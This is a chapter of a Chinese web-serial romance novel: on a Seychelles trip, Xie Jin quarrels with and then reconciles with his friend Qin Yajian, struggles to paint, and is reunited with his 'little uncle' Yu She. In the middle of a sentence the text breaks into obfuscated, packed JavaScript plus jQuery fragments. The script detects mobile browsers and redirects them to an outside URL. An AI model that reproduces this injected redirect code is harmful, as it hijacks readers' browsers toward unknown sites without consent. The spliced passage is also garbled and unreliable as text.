37.37

作品:《一篇老房子着火文

    好歹是大年初一,谢瑾再不喜欢待在家里也得给亲人拜年才不算没有教养。


    吃完酒店工作人员送来的午餐,谢瑾掐着时间拨了个群聊视频,屏幕上很快出现谢阳的脸,后面能隐约看见苏颖真和谢璇的身影。


    “爸,新年快乐。”


    谢瑾一股脑说了许多吉祥话,苏颖真也过来笑意盈盈地弯下腰,问谢瑾塞舌尔那边风景怎么样。


    “很不错呀,我拍了好多照片,还学了浮潜。”


    苏颖真欣慰地点点头,“是小秦教你的吗?”


    “……”


    谢瑾笑容有点发僵,旁边的秦雅健听苏颖真提到自己的名字,赶紧凑到谢瑾旁边说:“谢叔叔苏阿姨新年好!我来塞舌尔啦!小瑾的朋友这几天有事,我陪着小瑾呢!”


    苏颖真看见秦雅健才像是松了一口气,“小秦呀,你在初初身边我才放心呢,你们好好玩儿啊。”


    谢瑾脸上依旧保持着笑容,但他默不作声地深吸了一口气。


    谢阳敏锐察觉到谢瑾的情绪,赶紧打圆场说:“那边过年氛围怎么样,吃饺子了吗?”


    谢瑾重新看向屏幕,“你们没看他朋友圈吗?把我剩下的饺子全吃了呢。”


    谢阳和苏颖真对视一眼,随后相继笑出声:“你们从小感情就好,没想到雅健还能吃到你包的饺子,等回来了给爸爸妈妈也包一次。”


    “嗯,好啊,我也是这么想的。”


    谢瑾让秦雅健又说了几句拜年的话就挂断了视频。


    谢瑾回了一会儿朋友同学的消息,他点开和余赦的对话框,留了一句:“小叔,新年快乐。”


    屏幕上安安静静的,没有回复。


    秦雅健看谢瑾心情有点低落,问谢瑾是不是不高兴了,“我不是苏阿姨派来监视你的,我真的只是单纯想陪你而已。”


    “我知道。”谢瑾有些无奈地低头叹了口气,“我只是觉得我们还像小时候那样强绑定在一起不太好,你和我都有各自的事业爱好,长大后也有不同的交际圈子,彼此之间应该尊重对方的私人生活。”


    “你是觉得,我不配进入你的交际圈吗?”


    谢瑾直直盯着秦雅健的眼睛,轻笑几声,“如果你非得这么觉得的话,也可以。你明知道我不是这个意思还得曲解我的想法,秦雅健,我也不想这样的。”


    秦雅健目光闪烁,他知道谢瑾是一等一的聪慧,很多事情只是不想参与其中所以装作什么都不懂。


    谢瑾是主体性很强的人,不会让人骑到他头上任由摆布。


    别的他都可以当没看到,但秦雅健总是利用苏颖真让谢瑾无可奈何,既然如此那就把话说开好了,谢瑾才不会忍着这份气还得对秦雅健笑呵呵。


    秦雅健知道他让谢瑾不高兴了,不管他再怎么和谢瑾卖可怜,把曾经的感情拿出来说事,谢瑾都不会心软。


    这种时候秦雅健能做的也只有诚恳道歉,“我以后不会再这样了,真的!但是你也得回我消息啊,否则我总是找不到你人,你也不和我聊天,这还叫朋友吗?”


    谢瑾拿出手机点开他和秦雅健的对话框,秦雅健的确会给他发很多消息,但他要不就是过几天才回,要不就是只回一个表情包。


    对比起秦雅健的热情,谢瑾的确显得过于冷淡了。


    “好吧,我和你道歉。”


    秦雅健简直就是一只需要时刻陪伴的大型犬类,不陪他玩儿就耍心计,就爱闹。


    谢瑾不爱回他消息还有一个原因就是两人现在的确是聊不到一起去了。


    秦雅健忙于训练,有时间就来找谢瑾消磨精力,谢瑾课业繁忙,实在是没办法及时回应秦雅健。


    对谢瑾来说,如果一段关系让他感到心累,他会立马停止,但对方是秦雅健,从小陪他玩儿到大,他终究还是不忍心。


    可就是这点不忍心却让秦雅健肆无忌惮地玩弄谢家的家庭关系,谢瑾自己还一腔委屈与烦闷没人说呢,谁来理解理解他。


    不管怎么说,秦雅健态度良好,谢瑾也知道自己忽视了秦雅健,两人彼此理解,这件事算是暂时翻篇了,还是和以前一样该怎么玩儿就怎么玩儿。


    接下来几天两人尝试了许多项目,出海浮潜的时候秦雅健很兴奋,他让谢瑾趴在他背上,他带谢瑾游。


    秦雅健不愧是游泳健将,哪怕多了一个谢瑾也游得十分轻松。


    谢瑾让秦雅健带他游了一圈就上岸了,坐在沙滩上抹了一把头发。


    秦雅健摘掉面镜问谢瑾怎么不游了。


    谢瑾摇摇头说:“累了。”


    “那你就先回去休息,我再游两圈。”


    “好。”


    见谢瑾对浮潜没多大兴趣,秦雅健问他去不去坐玻璃船,“我看宣传视频都挺惊艳的。”


    谢瑾当然答应,听说玻璃船都挺出片,他肯定要凑凑热闹的。


    不过越是这种时候谢瑾越想念余赦。


    余赦离开后就彻底没了消息,也不知道他现在怎么样了,他和他那群学生有没有脱离危险。


    谢瑾靠在船舷上看着那片透明的海水时,脑海里想的却是那天从直升机上俯瞰的画面。


    层层叠叠的蓝,指纹一样的珊瑚礁,散落的沙洲,还有坐在驾驶舱里,余赦被阳光照亮的侧影。


    见谢瑾总是心不在焉,晚上吃饭的时候秦雅健特意问了一嘴,“小瑾,你那个朋友什么时候回来啊?这都好几天了还不见他人影。”


    谢瑾拿起高脚杯抿了一口果汁,“不知道啊,几天没消息了。”


    秦雅健欲言又止,他明显还想再说些什么,却还是住了嘴。


    谢瑾不想他打探太多隐私,是觉得秦雅健知道之后会原封不动地告诉苏颖真吗?


    可是秦雅健真的很少提起谢瑾的事情,谢阳和苏颖真问秦雅健谢瑾最近怎么样的时候他也都在尽量打掩护。


    虽然谢瑾不一定需要就是了。


    可是秦雅健真的没想过要背叛谢瑾,他只是,只是……


    这些心思,注定没办法和谢瑾说明白了。


    和水相关的运动秦雅健玩儿腻了,他又带谢瑾去玩儿滑翔伞。


    两人在空中飘了十几分钟,下来的时候秦雅健问谢瑾“爽不爽”。


    谢瑾想了想,说“还行。”


    秦雅健有点失望,但很快又兴致勃勃地规划起明天的日程。


    谢瑾突然觉得好累。


    不是身体上的,而是从骨头缝里透出来的疲惫。


    玩什么都提不起劲就算了,眼前的风景好像在一夜之间黯然失色了。


    余赦不在身边陪他一起,谢瑾做什么都觉得空落落的。


    和秦雅健在外边儿玩了这么久,谢瑾觉得他晒黑了好几个度,防晒霜也救不回来。


    谢瑾对自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307331|197411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的形象还是有点在意的,他让秦雅健这几天别来找他了,“我得好好休息了,来到这里也没怎么画画,我玩不动了。”


    “行,画吧,我不吵你。”秦雅健顿了顿,又补充道:“不过我还是会时不时来看你,至少要确保你的安全吧,你一个人待着我还是不太放心的。”


    谢瑾点头,“好。”


    回到别墅后谢瑾先是睡了个觉,等稍微有点力气了才去洗澡。


    不知道为什么,和秦雅健在一起的时候他会觉得特别累。


    可能是因为想要隐瞒的事太多,再加上担心余赦的安危,谢瑾处于一种心神不宁的状态中,做什么都专注不了。


    谢瑾给酒店前台打了个电话,让他们送一个画架过来,自己则是回到卧室打开那个放着各种画具的小行李箱。


    他从底层拿出余赦送给他的那盒颜料,又从旁边拿出画笔,调色盘,几支炭笔和一个新的素描本。


    画架很快送来,谢瑾把它支在落地窗前,面朝着海。


    阳光正好,不算很晒,光线柔和地照在画布上,是一个很适合画画的角度。


    谢瑾开始调颜料。


    他在脑子里构思着画面,把颜料挤在调色盘上,用刮刀调和。


    可是当真要落笔的时候他却愣住了。


    笔悬在画布上方,迟迟落不下去。


    和画布一样,谢瑾脑子里也是一片空白。


    不是不知道画什么,而是……画不下去。


    明明想把见到的大海留在纸上,可是余赦的身影却时不时浮现。


    他想画的从来不是风景,而是站在风景中的人。


    可是那个人不在。


    谢瑾放下笔,靠在椅背上,看着窗外的海。


    阳光慢慢西斜,从金黄变成橘红,逐渐透出点点深紫。


    窗帘被海风吹起来,轻轻飘动,在画布上投下晃动的影子。


    调色盘的颜料开始干涸,边缘卷起细细的裂纹。


    他就那样坐了很久。


    原来谈恋爱是这种感觉。


    原以为不会影响习惯和专注性,看来是高估自己了。


    思绪太重,重到连笔都提不起来。


    这可不是一件好事。


    可他就是控制不住啊。


    窗外,最后一丝橘红沉入海平面,天色暗下来。


    谢瑾依旧坐在画架前思绪万千。


    “很少见你画不动的样子。”


    谢瑾僵住了。


    身后的声音太熟悉,熟悉到他以为是自己出现了幻觉。


    少年猛地回头,余赦就站在他几步远的地方。


    落地灯的光照在他身上,男人衣服有几处褶皱,袖口卷到手肘,露出的小臂上有一道浅浅的划痕。


    头发比离开时乱了一点儿,下巴也有些青色的胡茬。


    但他就站在那里,身姿笔直,目光沉静地注视着谢瑾。


    谢瑾张了张嘴,竟一个字都说不出来。


    他看着余赦身上风尘仆仆的痕迹,眼底因为连夜赶路泛起的血丝,咬着唇不让自己哭出来。


    余赦知道谢瑾这会儿很激动,主动来到谢瑾面前把他抱进怀里:“我知道我得先去洗个澡,但你现在应该很需要我的抱抱,别嫌弃我。”


    谢瑾揪住余赦的衣服,下一秒已经泣不成声。


    “小叔,你真是个混蛋……”